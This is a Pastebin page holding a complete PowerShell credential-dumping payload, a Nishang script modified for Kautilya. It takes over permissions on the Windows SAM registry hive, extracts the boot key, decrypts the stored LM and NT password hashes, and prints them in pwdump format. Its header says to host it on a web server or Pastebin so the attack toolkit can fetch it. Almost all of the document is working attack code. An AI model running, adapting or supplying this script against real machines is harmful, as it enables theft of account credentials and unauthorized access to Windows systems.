API tools faq
paste
Advertisement
Guest User

Untitled

a guest
May 29th, 2017
42
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PostScript 15.21 KB | None | 0 0
raw download clone embed print report
  1. function hashdump_download {
  2. <#
  3. .SYNOPSIS
  4. Nishang payload modified for Kautilya which dumps password hashes.
  5.  
  6. .DESCRIPTION
  7. This is the script used by Kautilya payload "hashdump_powershelldown". Put this script on any web server or service like pastebin and use the url in Kautilya.
  8. The hashes are dumped using a modified version of powerdump script from MSF written by David Kennedy.
  9. Administrator privileges are required for this script
  10. (but not SYSTEM privs as for the original powerdump)
  11.  
  12. .EXAMPLE
  13. PS > ha
  14.  
  15. .LINK
  16. http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
  17. https://github.com/samratashok/nishang
  18.  
  19. #>
  20. [CmdletBinding()]
  21. Param ()
  22.  
  23.  
  24. #######################################powerdump written by David Kennedy#########################################
  25. function LoadApi
  26. {
  27.     $oldErrorAction = $global:ErrorActionPreference;
  28.     $global:ErrorActionPreference = "SilentlyContinue";
  29.     $test = [PowerDump.Native];
  30.     $global:ErrorActionPreference = $oldErrorAction;
  31.     if ($test)
  32.     {
  33.         # already loaded
  34.         return;
  35.      }
  36.  
  37. $code = @'
  38. using System;
  39. using System.Security.Cryptography;
  40. using System.Runtime.InteropServices;
  41. using System.Text;
  42.  
  43. namespace PowerDump
  44. {
  45.    public class Native
  46.    {
  47.    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
  48.     public static extern int RegOpenKeyEx(
  49.        int hKey,
  50.        string subKey,
  51.        int ulOptions,
  52.        int samDesired,
  53.        out int hkResult);
  54.  
  55.    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
  56.    extern public static int RegEnumKeyEx(
  57.        int hkey,
  58.        int index,
  59.        StringBuilder lpName,
  60.        ref int lpcbName,
  61.        int reserved,
  62.        StringBuilder lpClass,
  63.        ref int lpcbClass,
  64.        out long lpftLastWriteTime);
  65.  
  66.    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
  67.    extern public static int RegQueryInfoKey(
  68.        int hkey,
  69.        StringBuilder lpClass,
  70.        ref int lpcbClass,
  71.        int lpReserved,
  72.        out int lpcSubKeys,
  73.        out int lpcbMaxSubKeyLen,
  74.        out int lpcbMaxClassLen,
  75.        out int lpcValues,
  76.        out int lpcbMaxValueNameLen,
  77.        out int lpcbMaxValueLen,
  78.        out int lpcbSecurityDescriptor,
  79.        IntPtr lpftLastWriteTime);
  80.  
  81.    [DllImport("advapi32.dll", SetLastError=true)]
  82.    public static extern int RegCloseKey(
  83.        int hKey);
  84.  
  85.        }
  86.    } // end namespace PowerDump
  87.  
  88.    public class Shift {
  89.        public static int   Right(int x,   int count) { return x >> count; }
  90.        public static uint  Right(uint x,  int count) { return x >> count; }
  91.        public static long  Right(long x,  int count) { return x >> count; }
  92.        public static ulong Right(ulong x, int count) { return x >> count; }
  93.        public static int    Left(int x,   int count) { return x << count; }
  94.        public static uint   Left(uint x,  int count) { return x << count; }
  95.        public static long   Left(long x,  int count) { return x << count; }
  96.        public static ulong  Left(ulong x, int count) { return x << count; }
  97.    }
  98. '@
  99.  
  100.    $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
  101.    $dllName = [PsObject].Assembly.Location
  102.    $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
  103.    $assemblies = @("System.dll", $dllName)
  104.    $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
  105.    $compilerParameters.GenerateInMemory = $true
  106.    $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
  107.    if($compilerResults.Errors.Count -gt 0) {
  108.      $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
  109.    }
  110.  
  111. }
  112.  
  113. $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
  114. $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
  115. $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
  116. $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
  117. $odd_parity = @(
  118.   1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  119.   16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  120.   32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  121.   49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  122.   64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  123.   81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  124.   97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  125.   112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  126.   128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  127.   145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  128.   161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  129.   176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  130.   193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  131.   208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  132.   224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  133.   241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
  134. );
  135.  
  136. function sid_to_key($sid)
  137. {
  138.     $s1 = @();
  139.     $s1 += [char]($sid -band 0xFF);
  140.     $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
  141.     $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
  142.     $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
  143.     $s1 += $s1[0];
  144.     $s1 += $s1[1];
  145.     $s1 += $s1[2];
  146.     $s2 = @();
  147.     $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
  148.     $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
  149.     return ,((str_to_key $s1),(str_to_key $s2));
  150. }
  151.  
  152. function str_to_key($s)
  153. {
  154.     $key = @();
  155.     $key += [Shift]::Right([int]($s[0]), 1 );
  156.     $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
  157.     $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
  158.     $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
  159.     $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
  160.     $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
  161.     $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
  162.     $key += $([int]($s[6]) -band 0x7F);
  163.     0..7 | %{
  164.         $key[$_] = [Shift]::Left($key[$_], 1);
  165.         $key[$_] = $odd_parity[$key[$_]];
  166.         }
  167.     return ,$key;
  168. }
  169.  
  170. function NewRC4([byte[]]$key)
  171. {
  172.     return new-object Object |
  173.     Add-Member NoteProperty key $key -PassThru |
  174.     Add-Member NoteProperty S $null -PassThru |
  175.     Add-Member ScriptMethod init {
  176.         if (-not $this.S)
  177.         {
  178.             [byte[]]$this.S = 0..255;
  179.             0..255 | % -begin{[long]$j=0;}{
  180.                 $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
  181.                 $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
  182.                 }
  183.         }
  184.     } -PassThru |
  185.     Add-Member ScriptMethod "encrypt" {
  186.         $data = $args[0];
  187.         $this.init();
  188.         $outbuf = new-object byte[] $($data.Length);
  189.         $S2 = $this.S[0..$this.S.Length];
  190.         0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
  191.             $i = ($i+1) % $S2.Length;
  192.             $j = ($j + $S2[$i]) % $S2.Length;
  193.             $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
  194.             $a = $data[$_];
  195.             $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
  196.             $outbuf[$_] = ($a -bxor $b);
  197.         }
  198.         return ,$outbuf;
  199.     } -PassThru
  200. }
  201.  
  202. function des_encrypt([byte[]]$data, [byte[]]$key)
  203. {
  204.     return ,(des_transform $data $key $true)
  205. }
  206.  
  207. function des_decrypt([byte[]]$data, [byte[]]$key)
  208. {
  209.     return ,(des_transform $data $key $false)
  210. }
  211.  
  212. function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
  213. {
  214.     $des = new-object Security.Cryptography.DESCryptoServiceProvider;
  215.     $des.Mode = [Security.Cryptography.CipherMode]::ECB;
  216.     $des.Padding = [Security.Cryptography.PaddingMode]::None;
  217.     $des.Key = $key;
  218.     $des.IV = $key;
  219.     $transform = $null;
  220.     if ($doEncrypt) {$transform = $des.CreateEncryptor();}
  221.     else{$transform = $des.CreateDecryptor();}
  222.     $result = $transform.TransformFinalBlock($data, 0, $data.Length);
  223.     return ,$result;
  224. }
  225.  
  226. function Get-RegKeyClass([string]$key, [string]$subkey)
  227. {
  228.     switch ($Key) {
  229.         "HKCR" { $nKey = 0x80000000} #HK Classes Root
  230.         "HKCU" { $nKey = 0x80000001} #HK Current User
  231.         "HKLM" { $nKey = 0x80000002} #HK Local Machine
  232.         "HKU"  { $nKey = 0x80000003} #HK Users
  233.         "HKCC" { $nKey = 0x80000005} #HK Current Config
  234.         default {
  235.             throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
  236.         }
  237.     }
  238.     $KEYQUERYVALUE = 0x1;
  239.     $KEYREAD = 0x19;
  240.     $KEYALLACCESS = 0x3F;
  241.     $result = "";
  242.     [int]$hkey=0
  243.     if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
  244.     {
  245.         $classVal = New-Object Text.Stringbuilder 1024
  246.         [int]$len = 1024
  247.         if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
  248.             [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
  249.         {
  250.             $result = $classVal.ToString()
  251.         }
  252.         else
  253.         {
  254.             Write-Error "RegQueryInfoKey failed";
  255.         }
  256.         [PowerDump.Native]::RegCloseKey($hkey) | Out-Null
  257.     }
  258.     else
  259.     {
  260.         Write-Error "Cannot open key";
  261.     }
  262.     return $result;
  263. }
  264.  
  265. function Get-BootKey
  266. {
  267.     $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
  268.     $b = new-object byte[] $($s.Length/2);
  269.     0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
  270.     $b2 = new-object byte[] 16;
  271.     0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
  272.     return ,$b2;
  273. }
  274.  
  275. function Get-HBootKey
  276. {
  277.     param([byte[]]$bootkey);
  278.     $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
  279.     $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
  280.     $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
  281.     if (-not $k) {return $null}
  282.     [byte[]]$F = $k.GetValue("F");
  283.     if (-not $F) {return $null}
  284.     $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
  285.     $rc4 = NewRC4 $rc4key;
  286.     return ,($rc4.encrypt($F[0x80..0x9F]));
  287. }
  288.  
  289. function Get-UserName([byte[]]$V)
  290. {
  291.     if (-not $V) {return $null};
  292.     $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
  293.     $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
  294.     return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
  295. }
  296.  
  297. function Get-UserHashes($u, [byte[]]$hbootkey)
  298. {
  299.     [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
  300.    
  301.     # check if hashes exist (if byte memory equals to 20, then we've got a hash)
  302.     $LM_exists = $false;
  303.     $NT_exists = $false;
  304.     # LM header check
  305.     if ($u.V[0xa0..0xa3] -eq 20)
  306.     {
  307.         $LM_exists = $true;
  308.     }
  309.     # NT header check
  310.     elseif ($u.V[0xac..0xaf] -eq 20)
  311.     {
  312.         $NT_exists = $true;
  313.     }
  314.  
  315.     if ($LM_exists -eq $true)
  316.     {
  317.         $lm_hash_offset = $u.HashOffset + 4;
  318.         $nt_hash_offset = $u.HashOffset + 8 + 0x10;
  319.         $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
  320.         $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
  321.     }
  322.    
  323.     elseif ($NT_exists -eq $true)
  324.     {
  325.         $nt_hash_offset = $u.HashOffset + 8;
  326.         $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
  327.     }
  328.     return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
  329. }
  330.  
  331. function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
  332. {
  333.     [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
  334.     # LM Hash
  335.     if ($enc_lm_hash)
  336.     {
  337.         $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
  338.     }
  339.  
  340.     # NT Hash
  341.     if ($enc_nt_hash)
  342.     {
  343.         $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
  344.     }
  345.  
  346.     return ,($lmhash,$nthash)
  347. }
  348.  
  349. function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
  350. {
  351.     $deskeys = sid_to_key $rid;
  352.     $md5 = [Security.Cryptography.MD5]::Create();
  353.     $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
  354.     $rc4 = NewRC4 $rc4_key;
  355.     $obfkey = $rc4.encrypt($enc_hash);
  356.     $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) +
  357.         (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
  358.     return ,$hash;
  359. }
  360.  
  361. function Get-UserKeys
  362. {
  363.     ls HKLM:\SAM\SAM\Domains\Account\Users |
  364.         where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
  365.             Add-Member AliasProperty KeyName PSChildName -PassThru |
  366.             Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
  367.             Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
  368.             Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
  369.             Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
  370. }
  371.  
  372. function DumpHashes
  373. {
  374.     LoadApi
  375.     $bootkey = Get-BootKey;
  376.     $hbootKey = Get-HBootKey $bootkey;
  377.     Get-UserKeys | %{
  378.         $hashes = Get-UserHashes $_ $hBootKey;
  379.         "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
  380.             [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
  381.             [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
  382.     }
  383. }
  384.  
  385.     #http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060
  386.     if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
  387.     {
  388.         Write-Warning "Script requires elevated or administrative privileges."
  389.         Return
  390.     }
  391.     else
  392.     {
  393.         #Set permissions for the current user.
  394.         $rule = New-Object System.Security.AccessControl.RegistryAccessRule (
  395.         [System.Security.Principal.WindowsIdentity]::GetCurrent().Name,
  396.         "FullControl",
  397.         [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit",
  398.         [System.Security.AccessControl.PropagationFlags]"None",
  399.         [System.Security.AccessControl.AccessControlType]"Allow")
  400.         $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
  401.         "SAM\SAM\Domains",
  402.         [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
  403.         [System.Security.AccessControl.RegistryRights]::ChangePermissions)
  404.         $acl = $key.GetAccessControl()
  405.         $acl.SetAccessRule($rule)
  406.         $key.SetAccessControl($acl)
  407.  
  408.         DumpHashes
  409.  
  410.         #Remove the permissions added above.
  411.         $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
  412.         $acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null
  413.         Set-Acl HKLM:\SAM\SAM\Domains $acl
  414.  
  415.     }
  416. }
  417. hashdump_download
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!